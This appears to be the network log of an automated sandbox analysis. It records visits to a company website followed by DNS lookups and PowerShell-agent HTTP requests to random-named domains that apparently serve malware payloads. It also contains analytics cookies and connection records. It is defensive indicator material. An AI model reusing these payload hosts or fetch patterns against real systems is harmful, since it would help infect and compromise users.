__kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/About-Ravinn.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Team.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Latest.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/australia.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2025/03/VEC_logo_RGB.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/veterans.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/044-R141223.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/12/strategy.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Cyber-Threat-Intelligence.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Incident-Response.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/cropped-favicon-32x32.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.932140595447164:1743550261:3RXTmiAOa0o7yxUxyRJYnC6zsGV_ZD0UPlPv5Il_yGA/929bf8b6fe1d8cb3 HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: servverifcloud.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /plu HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: mfktiaoaolfkfjzjk.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /84.fqo HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: hitiotppppalfkjfk.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: www.ravinn.com
Source: global traffic DNS traffic detected: DNS query: pptpooalfkakktl.com
Source: global traffic DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic DNS traffic detected: DNS query: static.klaviyo.com
Source: global traffic DNS traffic detected: DNS query: static-tracking.klaviyo.com
Source: global traffic DNS traffic detected: DNS query: dajajkfifofjfklaiotjapp.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: servverifcloud.com
Source: global traffic DNS traffic detected: DNS query: mfktiaoaolfkfjzjk.com
Source: global traffic DNS traffic detected: DNS query: hitiotppppalfkjfk.com
Source: unknown HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.932140595447164:1743550261:3RXTmiAOa0o7yxUxyRJYnC6zsGV_ZD0UPlPv5Il_yGA/929bf8b6fe1d8cb3 HTTP/1.1Host: www.ravinn.comConnection: keep-aliveContent-Length: 16543sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://www.ravinn.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743551247.1.0.1743551247.0.0.0; _ga=GA1.1.1818990433.1743551248; __kla_id=eyJjaWQiOiJZMll5Wm1VMVptTXROekk1TlMwME1URTJMV0l3WlRJdE16UTJOall3TlRjeFlXVTIiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NTEyNDgsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTUxMjQ4LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49730 version: TLS 1.2
